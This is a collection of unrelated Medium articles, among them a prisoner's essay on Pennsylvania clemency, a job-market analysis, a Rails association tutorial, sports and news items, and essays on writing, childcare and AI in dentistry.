Bruce’s legs were cramping again and we all were reeling from the whole experience. Yet, we hoped it would all be worth it. After the interviews, we were taken back to our cells until Friday, when we’d hear their decisions. Tony, Wavy and Dip thankfully were granted mercy. I was denied, which was devastating for me and my family after so much hope. James and Bruce were put “under advisement” and would find out their fates sometime in the future. Some days later, we were transported back to Phoenix. Sadly, within six months, James was denied mercy; while Bruce was left twisting in the wind for almost another year and a half. He said that he was suffering a lot of anxiety but they didn’t outright say no, so, hope was still alive. Then, some weeks ago, the pardons board finally made their decision and thankfully Bruce had received mercy! When he told me, he first expressed anguish that I wasn’t leaving too but clearly he was relieved. It was mercy, not only for Bruce but for his family and friends too. Of course, our families and friends suffer along with us. Bruce told me, “The hard parts over now.” Now, all he needed was the Governor’s signature. How long would it take before Bruce would be released? No one was certain. When Wazir was granted commutation, he waited longer than a year before he was finally released. That was a big concern because Wazir was eighty, there were COVID cases on his block and one fellow had already died there. I talked to many people then, including a reporter, on his behalf trying to get him the hell of here. Mercifully, and no credit to me, Wazir made it out of here alive. The last I heard, he’s well. Over the last couple of weeks, there’d been a lot of COVID cases on the block that I’m on too. Juan, Barney, Martin, David and a few guys, who I only know to see, were all taken off the block in wheelchairs. Some stayed in the infirmary here while others, like Barney, were sick enough to go the outside hospital. It’s been sad and spooky for sure. I’m not worried for myself, I’ve had COVID already; but I am very concerned for my friends here. About two weeks ago, they came with a wheelchair and took away Bruce. I found out soon after that he died. I am so sad. Now, what of his family? All they’ve been through these long years and after so much hope, now this. My heart is so heavy. This was not mercy. There were more than 5000 men and women sentenced to life in prison in Pa. before the promise of hope for worthy lifers. By all indications, there will still be more than 5000 men and women doing life without hope for mercy by the time Fetterman moves on. Still, right now, its Bruce’s family and friends that should be comforted. There was no mercy for them either. For me, no pity or prayers please. What’s needed is tangible support to change the merciless criminal justice system in this state and beyond. If you want to help, contact politicians indicating your want of such reform. And, vote for those who support that reform. Here are some good orgs that are in solidarity with prisoners: — Abolitionist Law Center — Amistad Law Project — CADBI (The Coalition to Abolish Death By Incarceration) — Decarcerate Pa — FAMM ~Thomas Schilk You can take action on behalf of people in prison waiting for mercy: Urge Gov. Tom Wolf to take immediate steps to protect the lives and safety of the 40,000 people who are incarcerated in the Pennsylvania Department of Corrections.

https://medium.com/famm/voices-from-the-inside-this-was-not-mercy-fcdbc8e37945

['Famm Foundation']

2021-02-10 18:36:49.322000+00:00

['Mandatory Minimums', 'Pennsylvania', 'Clemency', 'Famm', 'Prison Reform']

Navigating Analytics Job Market During COVID-19 Using Web-Scraping and Text Analysis

This analysis is a part of our project in the Summer Data Competition 2020 hosted by Fuqua School of Business. I want to send my special thank to my teammates: Yaqiong (Juno) Cao and Xinying (Silvia) Sun, for their great contribution. Photo by Annie Spratt on Unsplash Problem Definition Are you an analytics master student who is seeking a job and have no idea what the job market looks like, especially during COVID-19? Our project aims to analyze the current online job posting situation that can help students better understand the current job market, find the most suitable job positions, and make the best preparation for these jobs. After integrating the latest data from authorized websites like LinkedIn, Yahoo Finance, and company official websites, we generated some interesting insights from our multi-dimensional analysis. We encourage master students to develop their communication and problem-solving skills besides technical skills. Students should pay more attention to job postings like Data Engineer, Financial Analyst, and Data Scientist. They should also consider narrowing their search to big cities with high ratings and focusing on financial and tech companies like Amazon, which has an incredible hiring growth rate in 2020. Student Journey Image by Author So, which data do we need to answer our case question? Our workflow was formed based on the student job search journey. The first step is to define the company and the industry. In that case, we need to collect relative industry and company information. Then the second step is to find the position, whether you want to be a financial analyst or data scientist. After you know which industry and position you want to work for, you might consider the skills you need to qualify. That is when we need to collect skills information​. We also consider a different scenario, in which students may want to start their job search on position first. In that case, we would like to collect data and create different tables instead of putting every info into one table. Data Integration Using different data collection methods, including web scraping in Python and data merging in SQL and R, we consolidated data from a variety of sources, as shown in our relational schema. Image by Author Job Data Table & Company Workforce Table: Using keywords via scraping from LinkedIn, we first collected analytics and data-oriented job posts from the top 10 companies (in revenue) of each of the top five largest industries: Information Technology, Financial Services & Investment Banking, Retail, Fast-Moving Consumer Goods (FMCG), and Media & Entertainment. At first, we limited our data to two months: August and September 2020, a period right after graduation, which we believe will effectively reflect the job market on the LinkedIn platform. But now, this project was updated with October and November data. We then extracted primary information such as companies and associated industries, job post’s date, job titles, and job descriptions that include skills and requirements for each position. We also obtained data relating to each selected company’s current hiring situation for the past 12 months to provide evidence support for further deployment. To clean the job data, we focused on three tasks. First, we removed duplicate observations resulted from multiple scraping runs. Second, we researched each column/variable, doing corrections for city names of job locations and industry classification. Last, we spent most of the time cleaning job titles and allocated them into four title levels: Associate, Analyst/Engineer, Manager, Scientist/Researcher. This step would provide “good” data for a separate analysis of job titles. Job Skills Table: For the next part, we created a subset from the LinkedIn original data set by extracting information from the job description column. This column contains the skills and requirements for each analytics job. Based on our original data set, we selected 15 positions that best fit the capability and desire of analytics master graduates. Also, conducting text analysis in R for job descriptions, we identified the top 28 most popular skills, which means they appear in the basic/preferred qualifications and requirements of job postings most of the time. This process resulted in a subset of data, including company names, job titles, and a list of skills required for each job title. Company Info Table & Company Rating Table: Based on the raw company data that showed active hiring activities on LinkedIn, we dove deep into the financial information of these 25 companies. We collected the data about the size and market capitalization from Yahoo Finance and analyzed the second and third quarter fillings of 2020 and 2019 from the investor section of each company’s official website. The rating for each company was, meanwhile, obtained from different sources. Job Locations Table: We built a location table with a location column from the job data (a city where each job is located). Then we added such information as state, longitude, and latitude based on Google Maps. Using R, we merged our raw data and the cities information table to create a new location table with unique location values that could be used in mapping visualization in the following analysis. Deployment Overall job postings in the US We first analyzed the US overall job postings using R mapping, which shows that companies located on the east and west coasts are hiring more. Our data proves that big cities also provide more job opportunities. Image by Author When we analyzed the data in-depth on the regional level, we found that the job posting of GA and NY on the east coasts, WA, and CA on the west coasts, MN, and IL in the Midwest is relatively high in other places in the US. It is reasonable since the fast-growing cities provide more employment opportunities, and higher-salary jobs appeal to many employees. When looking at specific cities with the largest number of job postings like Seattle, Atlanta, and New York, we found that almost 90% of job postings in Seattle are from Amazon, 70% of the job postings in Atlanta are from The Home Depot. Only New York has a different pattern when the local job postings are from a diversity of companies. This finding verifies our assumption that looking for an analytics job is easier in big cities. Image by Author We also observed another insight into the hiring situation based on the number of jobs posted through the week. In general, we saw the number of jobs posted reached a peak on Wednesday and Thursday, while recruiters were less likely to post new jobs during the weekend from Friday to Monday. Image by Author Hiring situation at the industry and company levels After having a general idea of the US job market in the last two months, we wanted to learn more about the hiring situation at the industry and company levels. According to our data, Information Technology & Services companies offer more job opportunities, mostly by Amazon and IBM. There are about 50% of the job opportunities provided by the tech industry. Image by Author Moreover, the job opportunities offered by Amazon account for 25% of the total. Meanwhile, companies in FMCG and Media & Entertainment industries like Johnson & Johnson and AT&T are way behind in hiring. About 1% of job opportunities are provided by the Media & Entertainment industry, and about 2% provided by FMCG. Conducting external research, we found that these industries and companies have performed in reverse directions under the impact of COVID-19, which could result in their hiring decisions. Image by Author Rating and Revenue analysis overall and within the industry After learning about the hiring conditions, we are curious about how companies are running their business under COVID-19. Also, we analyzed the company ratings using mapping. It is reasonable that retail pharmacy companies have higher revenue recognized because of the volume of goods sold, like the case of CVS Health. Under the effect of COVID, media companies like The Walt Disney and Omnicom Media Group decreased their revenue significantly. It surprised us that Johnson& Johnson’s revenue decreased in Q2 2020 even though it recovered in Q3 2020. By doing more research on their current 10Q, we found that a poor sales performance of the medical device, which dropped 33.9% compared to 2019Q2, is the main reason to reduce the total revenue even though the pharmaceutical sale segment increased under the effect of COVID as expected. We also witnessed the recovery of Nike and PepsiCo in Q3 2020. Meanwhile, Amazon saw a massive expansion in revenue, matching its hiring growth, since their online and cloud-based business model benefits from the current pandemic. Interestingly, Truist increased its revenue by 80% as a result of the merger of BB&T and SunTrust Bank. Image by Author Image by Author In terms of rating, as most tech companies are located in California or Seattle, the West coach companies have a relatively higher rating than the other US. Employees more favor salary, benefits, company culture, and working conditions of tech companies. Therefore, we encourage analytics master students to focus on job search in the technology industry, financial services, and investment banking industry based on revenue and rating analysis. Image by Author Job postings at the job title level In terms of job postings at the title levels, we selected Analyst/Engineer and Scientist/Researcher levels to do more analysis. Regarding the Analyst/Engineer level, we saw the dominance of Data Engineer, Financial Analyst, and Business Analyst. Meanwhile, Data Scientist has still been the most popular job demanded in the Scientist/Researcher market. Image by Author To leverage our insights, we picked the top 4 companies from different industries to learn more about which job titles they are looking for most. Another interesting inference is that each company has a distinct demand for its top analytics jobs. Respectively, Financial Analyst, Data Engineer, Business Analyst are the most popular by Amazon, CVS Health, JPMorgan Chase. These companies are currently different in terms of revenue performance and business situation, as mentioned in the previous analysis. Image by Author Job skills for each title We found that Communication, Problem-solving, Data Visualization, Data Modeling, and Critical Thinking are the top five skills for every position and every company. An analytics master curriculum with a good balance between general/soft skills and technical skills will definitely make a difference in a job search. Image by Author Diving deep into each job title, we found that the Financial Analyst and Business Analyst requirements are similar since they include Data Visualization, Microsoft office, Data Modeling, and SQL. Image by Author For the Data Engineer and Data Analyst position, we saw a different pattern. While the Data Engineer jobs require such database skills as Excel and SQL, the Data Analyst jobs prefer more advanced programming languages like Python and Data Modeling/Machine Learning techniques. Interestingly, Data Visualization is very demanded for the Data Analyst position. Image by Author Regarding Data Scientist and Data Researcher, they both ask for a high level of mastering the most popular languages like Python, SQL, and R. Besides, we found that Data Scientist, Business Analyst, and Data Engineer have more requirements about hard skills such as SQL, Python, R. Image by Author Also, Analytics Manager usually requires 2+ years of work experience. To sum up, every position requires soft skills, but Business Analyst, Financial Analyst, Data Engineer, Data Scientist, and Data Researcher will demand more technical language skills in the increasing order. Implementation Our project aims to help analytics master students, have a better understanding of the current context of recruitment, and make sufficient preparation while seeking employment. Although we believe that our analysis is useful and efficient, it does have some limitations. First, because the job postings decreased over time by recruiters, the availably collected job data may not perfectly reflect the job market. Second, we could not have insights into the job market in some states in the US since no job posting was recorded. To verify our assumption that these areas are negatively affected by the COVID-19, we can collect the data from other hiring websites. Third, we found that Audit and Consulting firms like BIG4, McKinsey, BCG, and Bain don’t have public financial information, which limited our quantitative analysis for the company revenue part. Last, using keywords in scraping job titles, we might ignore some positions that don’t include “analytics” in their titles. These jobs are, however, data-oriented and should be classified as analytics jobs. For example, companies that don’t have a specific audit analytics position but require auditors to learn Python and Tableau. In that case, we should try other data collection methods to obtain a wider scale of relevant data and improve analysis accuracy. For interactive visualization of this analysis, please visit my Public Tableau.

https://towardsdatascience.com/how-to-navigate-analytics-job-search-during-covid-19-b6d2159fac8e

['Dexter Nguyen']

2020-11-30 07:08:27.908000+00:00

['Python', 'Web Scraping', 'R', 'Covid 19', 'Data Science']

The Best Way to Succeed as a Writer Is to Demand Less of Yourself

The Best Way to Succeed as a Writer Is to Demand Less of Yourself Paul Kix Follow Nov 11 · 3 min read The power that comes from meeting ridiculously modest goals Photo by Jan Kahánek on Unsplash I finished the first draft of a screenplay last week. It’s the fourth one I’ve written in three years, and I’ve written all of them in the hours when I’ve not been writing a book, or writing here, or on my blog, or for other websites or magazines. I’m not super-human. I don’t even consider myself prodigious. My trick, if I have one, is to set ridiculously modest goals for my output and then meet them every day. Before I wrote my last book I thought about how I would pace myself. I had a full-time job and a large family and a taste for good Scotch. I didn’t want to give up my life for the book. So I studied other writers, when they wrote but also how much each day. I liked Graham Greene’s model for output: 500 words a day, five or six days a week. (Greene lightly fictionalized his approach in The End of the Affair, the audio version of which Colin Firth narrates. It’s amazing.) Five hundred words a day is between an hour and a half to three hours of work for me. That’s manageable. With the last book I could wake early and get 500 words down before I made breakfast for the kids or took meetings at the day job. That was the point. You should never strain when you’re writing a book or a long magazine piece or essay. Straining leads to exhaustion and exhaustion to frustration and frustration to poorly told stories or, worse, abandoned writing projects. You will never publish what you don’t finish. When I started writing screenplays and TV pilots, in the gaps in my calendar when I wasn’t writing a book, I set the same low standard: Two pages a day. I can sometimes finish that in a half hour. Sometimes it takes two and a half hours because I’m imagining the progression of subsequent scenes. In either case it’s manageable, and because of that I return to the work the next day, which is how I’ve written four scripts in three years. Hit me up if you want to know more about how to manage multiple writing projects at the same time. I’ve developed a system for that too, one I began to lay out here and might cover in more depth elsewhere. Next week, I’ll start to revise my new script. I’m envisioning it as a feature film and, as you’ll see below, this one is too long. I’ll be cutting whole scenes and re-writing others and every day doing the minimum amount of work to feel like I’m making real progress. New to my writing? I’m a best-selling author who’s written for The New Yorker, GQ, ESPN, and New York, among other titles. My first book, The Saboteur, was optioned by DreamWorks to be turned into a film. I’m now at work on a second book for Celadon about a pivotal 10-week period in the Civil Rights Movement that still defines our lives.

https://medium.com/swlh/the-best-way-to-succeed-as-a-writer-is-to-demand-less-of-yourself-234dd7fdd777

['Paul Kix']

2020-11-12 03:06:13.702000+00:00

['Self Improvement', 'Writing', 'Psychology', 'Creative Process', 'Creativity']

EU says first virus vaccinations possible by Christmas

A top European Union official said Wednesday that the first citizens in the 27 nation bloc could be vaccinated against the coronavirus by Christmas, but she warned that member countries must urgently prepare their logistical chains for the rollout of hundreds of millions of doses of the vaccines. Claiming that “there’s finally light at the end of the tunnel,” European Commission President Ursula von der Leyen told EU lawmakers that “the first European citizens might already be vaccinated before the end of December.” The commission, the EU’s executive arm, has agreements with six potential vaccine suppliers and is working on a seventh contract. The deals allow it to purchase over 800 million doses, more than the population of the bloc, which stands at around 460 million people. On Tuesday, Brussels said it would sign a contract for up to 160 million doses of the experimental coronavirus vaccine developed by Moderna, which the company says appears to be 94.5% effective, according to its preliminary data. But von der Leyen said that while vaccines are important, “what counts are vaccinations.” “Member states must get ready now. We’re talking about millions of syringes, we’re talking about cold chains, we’re talking about organizing vaccination centers, we’re talking about trained personnel that is there. You name it. All this has to be prepared,” she warned. Still, Von der Leyen urged European citizens to continue respecting restrictions, even as the measures harm businesses, further damage coronavirus-ravaged economies and put people through social and mental hardship. “With nearly 3,000 deaths a day, COVID-19 was the number one cause of death in the EU last week. Hospitals remain under stress, and in some regions some intensive care units are overwhelmed,” she said. “We must learn from the summer and not repeat the same mistakes. Relaxing too much is a risk for a third wave after Christmas,” von der Leyen said, adding that “this Christmas will be different, and yes, it will be quieter.”

https://medium.com/@valaionatenakoz/eu-says-first-virus-vaccinations-possible-by-christmas-9c1fd067927b

[]

2020-11-25 14:03:11.511000+00:00

['Virus', 'Medicine', 'Vaccination', 'News']

Aaron, Arnold play utility men in Chatham baseball’s win over Appomattox

Chatham senior Matthew Arnold and sophomore Carrington Aaron played the roles of true utility guys Monday night against Appomattox County … Chatham sophomore pitcher Carrington Aaron delivers a pitch in the top of the fifth inning of the Cavaliers’ matchup against Appomattox Monday night. Photo: Davin Wilson/River City Sports. CHATHAM, Va. — Chatham senior Matthew Arnold and sophomore Carrington Aaron played the roles of true utility guys Monday night against Appomattox County. The two turned in masterful performances on the bump and accounted for two-thirds of the Cavaliers’ runs in Chatham’s 3–1 victory over the Raiders in Dogwood District action. Arnold picked up the win on the bump for Chatham (10–0, 10–0 Dogwood), throwing four innings of one-hit, shutout ball, while striking out six. The Hampden-Sydney commit also drove in the Cavaliers’ first run in the third. “It’s awesome,” Arnold said. “I always like pounding the zone on the mound and attacking at the plate, it’s tough to do both things on the same night but when it’s clicking, I mean the train keeps rolling, the team follows along, it’s awesome.” Aaron was just as impressive in relief, getting the save after giving up a run and striking out three in three innings pitched. He also brought in a run in the fourth with his bases-loaded walk. “It felt good, getting everything going, getting things right and getting that big win,” Aaron said. “We wanted that win.” Chatham senior Matthew Arnold delivers a pitch against the Raiders Monday night. Photo: Davin Wilson/River City Sports. Aaron and Appomattox sophomore pitcher Wyatt Sisk matched each other pound-for-pound in the opening two innings, setting up the pitchers duel. It was Arnold who got the scoring started in the third when he brought sophomore Jacob Moore around to score with his single that made it a 1–0 game. “I got fooled earlier with the slider and I just had to see the ball up and had a fastball in and stayed through it, got the scoring, kept the momentum going and we just cruised with it from there,” Arnold said. Chatham baseball senior Matthew Arnold and sophomore Carrington Aaron talk shop after the ‘Cavs’ 3–1 victory over Appomattox Monday night. Video: Davin Wilson/River City Sports. The ‘Cavs kept things rolling in the fourth, plating two runs with two outs to take a three-run advantage. Freshman Alex Van Pelt got things going with his single to right and freshman Kennen Lewis followed with a walk. Senior Dixon Erwin followed with a single to center that juiced the bases and Aaron made it a two-run game with his bases-loaded, hit by pitch. Moore closed out the inning with his bases-loaded walk that gave Chatham a 3–0 lead entering the middle frames. “That kid, he’s got a good mix,” Aaron said. “I was just trying to battle up there, get a pitch, and just get on it.” Appomattox broke the shutout in the seventh as the Raiders started the inning with back-to-back singles to put runners on first and second with no outs. Kyle Davis broke the shutout with his RBI single to center that made it a two-run game and got the Raiders hype. However, Aaron buckled down and recorded a strikeout and pop up to end the game. “Every time we beat them it feels good,” Aaron said with a smile. “It feels the same tonight and I love it.” “It’s always a big game, got a big crowd , we feed off the energy and I love it,” added Arnold. The seventh wasn’t the only inning Aaron found himself in a jam as the Raiders strung together a trio of walks to load the bases in the fifth. Aaron went unfazed by the pressure, though, recording an inning-ending strikeout to keep the score at 3–0. Arnold and Moore led the Cavaliers with a pair of hits, while Van Pelt, Lewis and Erwin recorded hits as well. Davis drove in Appomattox’s lone run while Davis, Dale Shrock, Hunter Garrett and Matthew Napier each recorded hits for the Raiders.

https://medium.com/channel-434-sports/aaron-arnold-play-utility-men-in-chatham-baseballs-win-over-appomattox-feb8d2e3b6f6

['Davin Wilson']

2021-06-08 03:30:10.192000+00:00

['Win', 'High School Baseball', 'Baseball', 'Boxers Or Briefs', 'Prep']

Many-to-many Active Record associations in Ruby on Rails

A very common Active Record association when developing a Rails app is the many-to-many, i.e. when an instance of a model can be associated to many instances of another model and vice versa. For this article I will use as example a project I did during The Odin Project course about an app where users can create events and invite other users. In its most simple form, an Event model can have many User instances and each of these User instances can have many Event instances. We have therefore a many-to-many association. In these kind of associations, it is required to create a table (a join table, or “through” table) that connects both models. So we would have something like this: class User < ApplicationRecord has_many :attendances has_many :events, through: :attendance end class Attendance < ApplicationRecord belongs_to :event belongs_to :user end class Event < ApplicationRecord has_many :attendances has_many :users, through: :attendance end With this association, Rails will look for a foreign key called user_id in the Attendance table every time we try to get the attendees for a particular Event. Likewise, Rails will look for an event_id in the Attendance table when we try to get the events connected to a User. Nothing else has to be specified since the association names correspond directly to the names of the models and tables. However, things can get a bit more complicated when a model can have different type of instances. In the example, an Event can have two different types of User instances, the one who created the event and the ones who got invited to the event. We would therefore need two separate foreign keys for each called creator_id and attendee_id. Then we would need to let Rails know that both columns are actually pointing to User instances. For doing this, we have to specify the option :class_name in the belongs_to relationship. For example: class Event < ApplicationRecord belongs_to :creator, class_name: "User" end At the same time, since we have columns for creator_id and attendee_id, we could also split up the Event instances into created_events and attended_events. In this case not only we have to specify the :class_name but also the :foreign_key that Rails should use to point at the right table and column. For example, the created_events would be specified like this: class User < ApplicationRecord has_many :created_events, foreign_key: :creator_id, class_name: "Event" end On the other hand, since a User instance can have many attended_events, we specify the :class_name in the Attendance “through” table instead: class User < ApplicationRecord has_many :attendances, foreign_key: :event_attendee_id has_many :attended_events, through: :attendance has_many :created_events, foreign_key: :creator_id, class_name: "Event" end class Attendance < ApplicationRecord belongs_to :event_attendee, class_name: "User" belongs_to :attended_event, class_name: "Event" end Lastly, Rails always uses the name of the association in the “through” table to know which foreign key and table name to get. If we name the foreign keys differently in the other tables, we need to use the :source option to declare that. It’s kind of the :class_name but for the associations that are directed to the “through” table. Finally, putting everything together: class User < ApplicationRecord has_many :attendances, foreign_key: :event_attendee_id has_many :attended_events, through: :attendance has_many :created_events, foreign_key: :creator_id, class_name: "Event" end class Attendance < ApplicationRecord belongs_to :event_attendee, class_name: "User" belongs_to :attended_event, class_name: "Event" end class Event < ApplicationRecord has_many :attendances, foreign_key: :attended_event_id has_many :attendees, through: :attendance, source: :event_attendee belongs_to :creator, class_name: "User" end The last step to make this work is to write the migration file accordingly so we create tables in the database that reflect their corresponding models.

https://medium.com/@vgmestre/a-very-common-active-record-association-when-developing-a-rails-app-is-the-many-to-many-i-e-6a724e7e6434

['Victor G. Mestre']

2020-12-16 09:08:37.901000+00:00

['Ruby on Rails', 'Sql', 'Rails']

A daycare center cherished by parents — And by a company

Every day is the same routine. Rishit Singh wakes up early, eats his breakfast, and then heads to Mindtree, a technology firm based in the Indian city of Bangalore. Once there, he greets his friends and supervisors then quickly gets on to the business at hand: running toy trains, building castles out of blocks, and herding a menagerie of stuffed animals. Rishit is two years old. He is one of 90 children attending Mindtree’s daycare center, Little Critters, which the company built within its headquarters to address a slow but deep social transformation taking place in many growing cities in India. Typically, extended family members here are the ones taking care of young children as their parents go to work. As more young adults leave their places of birth for higher-paying jobs and career opportunities in bigger cities, couples are increasingly depending on external childcare. But the options are limited and the quality is inconsistent. Too often, one parent — usually mom — is forced to quit her job to stay at home with the kids. This can take a toll on families’ incomes. It also widens the gender gap — with consequences to the country’s economic growth. A recent study shows that if women participated in the Indian economy at the same rate as men, the country could add $2.9 trillion to its GDP by 2025. But in Bangalore, Mindtree has been able to retain nearly all workers who go on maternity or paternity leave because of children-related benefits including the daycare facility. Mindtree’s childcare services for workers is one of 10 case studies examined in a new IFC report released today on the benefits businesses gain by investing in childcare. The study also provides guidance to employers on finding a childcare strategy that is right for their business. For Mindtree Chief Executive Officer Rostow Ravanan, offering daycare facilities makes business sense. “Women graduate, join the workforce, and when they get married, have a child, we see a big dropout of people in whom we had invested,” Ravanan says. “We needed to bring them back into the workforce post-childbirth and engage them again.” CREATING CHANGE Children play games and have class exercises at Little Critters daycare center at Mindtree in Bangalore, India on July 28, 2017. MIndtree is one of the few employers in India who offers onsite daycare for the employees children. © Dominic Chavez/International Finance Corporation Mindtree decided to look broadly at the problem. One decision was to create a daycare facility. In 2009, it opened a custom-built childcare center that caters to children aged six months to eight years. All employees are eligible to enroll their children at the daycare, and costs are subsidized. Twenty children are on the wait list, and the company is considering expanding the service. Retaining workers is especially tricky in high-demand sectors such as information technology, which accounts for more than a third of private sector employment in India. The labor market is highly competitive, and the workforce is young. At Mindtree, the average age range of its 16,500 workers (10,000 of them in Bangalore alone) is 25 to 27 years. Almost a third of them are women. But the childcare center has yielded positive results to the company — in addition to other progressive policies such as paid maternity and paternity leave, support for breastfeeding mothers, and flexible work options for women returning from maternity leave. Almost all female employees who take maternity leave return to work. Ninety percent of new mothers still work at Mindtree one year after returning from maternity leave, up from 82 percent a few years ago. Mindtree’s approach helps it retain men as well. One of them is Rishit’s father, Vedant Singh. When the baby was 8 months old, he declined a job offer from another company — which did not offer on-site childcare. Staying close to his son, he said, was “non-negotiable.” Vadant Singh and his wife, Monima Gogoi, play with their son, Rishit at home in Bangalore, India on July 29, 2017. Vadant and Monima are employees at MIndtree in Bangalore, and it’s one of the few employers in India who offers onsite daycare for the employees children. © Dominic Chavez/International Finance Corporation “Sometimes when we’re tired of work, we just come (to the daycare) to meet our son and we feel recharged,” says 30-year-old Singh. His wife is also an employee at Mindtree. BEYOND COMPLIANCE The IFC study features case studies of businesses in 10 countries. It examines each company’s business rationale for offering childcare, assesses the impact of the benefits on its performance, and reflects on lessons learned in the development of childcare strategies. The material is especially timely for Indian companies. This year, the government of India passed legislation requiring six months of maternity leave. Companies with more than 50 employees face an additional requirement: they must provide a daycare facility either on site or near the workplace. The government is still working on the guidelines. Employees of Mindtree work and socialize with one another, in Bangalore, India on July 27, 2017. © Dominic Chavez/International Finance Corporation Helping companies expand access to high-quality childcare is an important objective for IFC. “Our research enables us to explore with different stakeholders the future of childcare-provider markets in different geographies,” says IFC’s gender finance specialist, Roshika Singh. “This opens the door to awareness and discussion.” The legislation is expected to sharply increase the number of childcare providers, but IFC aims to help companies go beyond compliance and be “the employers of choice,” says Singh. “Our intention is to create a market for quality childcare providers that will open up opportunities for investments.” For Rishit’s parents — who met in Bangalore while studying — what they see every day at home is indisputable evidence that they’ve made the right decision. “Our child gets to play, mingle with other children, an opportunity he would not have gotten by staying at home,” says Vedant Singh, proudly. “He’s become more independent. He learned to share, and he learned to fight also. It’s like a blessing.” To read more about IFC’s work to support gender equality, visit here, and follow the conversation: #IFCmarkets RELATED LINKS Tackling Childcare: The Business Case for Employer-Supported Childcare Photo Gallery

https://medium.com/world-of-opportunity/a-daycare-center-cherished-by-parents-and-by-a-company-f54794e4d34e

['World Bank']

2017-09-28 21:23:20.303000+00:00

['India', 'Innovation', 'Education', 'Parenting', 'Childcare']

I’m Jealous of People Isolating with a Significant Other

I seem to always be single. Even when I wasn’t single, it felt like I was single. I was dating a coworker until recently — a coworker who was on that same call as I was when that question was asked. A coworker who didn’t want to be open with everyone we work with about the fact that we were dating. Most of the time I thought he was embarrassed about being with me. The reality is he was an asshole. His hand was down too. When everyone answered, I felt jealous of every person in the world capable of making their relationship work. I got jealous of everyone spending time at home right now with their significant other. It seems everyone knows the trick to successful love but me. I must have skipped that day at school. What do others know that I don’t? That question asked at the zoom meeting was supposed to be funny. It was meant to highlight the difficulties of spending the entire day with your significant other when most people aren’t used to doing that. The question was funny, but it felt personal. It highlighted my deficiencies in the love department. It also probably answered some people’s questions about whether my ex and I are still dating. Our relationship puzzled everyone. We dated on and off for three years. People asked me all the time, “are you two dating or what?” Sometimes the answer was “yes”; sometimes the answer was “no”. On a bad day, the answer was “none of your business.”

https://medium.com/fearless-she-wrote/im-jealous-of-people-isolating-with-a-significant-other-f9f8760cc66b

['Maribel Martinez']

2020-05-20 14:01:01.469000+00:00

['Self Improvement', 'Relationships', 'Isolation', 'Personal Development', 'Love']

AI is making smiles brighter and easing dental anxiety

One of the medical practices that many people fear more than any other, is dentistry. There’s something about sitting in a chair and having someone invade your mouth that puts people on edge. Perhaps having AI play an increasing role in whatever you’re having checked, cleaned, or drilled, will help alleviate at least a modicum of that anxiety. “Narrow” AI solutions that are experts at specialized tasks are becoming far more common place in all manner of industries, and medical care is no exception. Just as machine learning AIs are being used to help improve the diagnosis for serious diseases like cancer, it’s also finding use in dentistry to improve the accuracy of abnormality detection in X-rays of the jaw and teeth, make recommendations for orthodontic treatments, and optimize endodontic therapy. Although this process can still be achieved using a medical professional for a second opinion — and often is to add an added layer of human oversight to the process — algorithms like Behold.ai’s can do this far faster, anywhere in the world, for any number of practices, simultaneously. It does so providing the same level of reliable, consistent, and often-accurate expertise that is far from as readily available as more traditional clinician opinions. This makes an AI diagnosis a perfect alternative to the traditional second opinion of a professional. Not only because of its accuracy and ease of access, but also its impartiality. Patients can rest assured that the AI brings less of a potentially implicit human bias to its diagnosis. While there are ways in which algorithms can reflect the biases of the programmers who wrote it, machine learning’s independence and self-taught design makes that less likely. Trust will need to be built up with the machines too, though. Medical data of any kind is incredibly sensitive, and dentistry is no different. That data must be shared with the AI and in some form in turn, the company that developed and manages it. Strict data sharing practices must be in place to make that process feel trustworthy and not open to exploitation, data theft, or sale. Still, with the potential for life-altering, permanent surgery and adjustments as part of the dentistry field, and the lifelong anxiety associated with it for many, AI holds an exciting potential to both improve the quality of the service, and remove one of the biggest reasons people don’t seek help for it in the first place.

https://medium.com/product-ai/ai-is-making-smiles-brighter-and-easing-dental-anxiety-be3450156a5f

['Jon M']

2021-11-29 22:35:49.542000+00:00

['Healthcare', 'AI', 'Anxiety', 'Dentistry']

ML07: What is “Robust” ?

(1) Definition of “Robust” Let’s take a close look at the definitions of “robust / robustness” from a variety of sources: 1. Robust statistics are statistics with good performance for data drawn from a wide range of probability distributions, especially for distributions that are not normal. [2] 2. A robust concept will operate without failure and produce positive results under a variety of conditions. For statistics, a test is robust if it still provides insight into a problem despite having its assumptions altered or violated. In economics, robustness is attributed to financial markets that continue to perform despite alterations in market conditions. In general, a system is robust if it can handle variability and remain effective. [3] 3. Robust statistics, therefore, are any statistics that yield good performance when data is drawn from a wide range of probability distributions that are largely unaffected by outliers or small departures from model assumptions in a given dataset. In other words, a robust statistic is resistant to errors in the results. [4] Then, we turn to a classic statistics book Problem Solving: A Statistician’s Guide published in 1988: 4. A statistical procedure which is not much affected by minor departures is said to be robust and is fortunate that many procedures have this property. For example the t-test is robust to departure from normality. [5] (2) Dealing with Errors and Outliers Now that we went through all kinds of definitions with few variations, let’s see why we need robust statistics / robust model. While handling with outliers, we have a couple of approaches at hand: 1. Treating outliers as errors, then removing them A straightforward method often be adopt without full consideration. Here, we may remove the outliers, leaving the data points with missing values. 2. Using domain knowledge and finding outliers possible It may be sensible to treat an outlier as a missing observation, but this may be improper if the distribution is heavy-tailed. Extreme observations which may, or may not, be errors are more difficult to handle. The tests deciding which outliers are ‘significant’, but they are less important than advice from people ‘in the field’ as to which suspect values are obviously silly or impossible and should be viewed with caution. [5] 3. Using robust methods

https://medium.com/analytics-vidhya/ml07-f899675ed237

['Morton Kuo']

2020-12-23 22:01:29.297000+00:00

['Machine Learning', 'Statistics', 'Robust', 'AI', 'Robustness']

How “The Undoing” Undid More Than Just My Belief in Happily Ever After

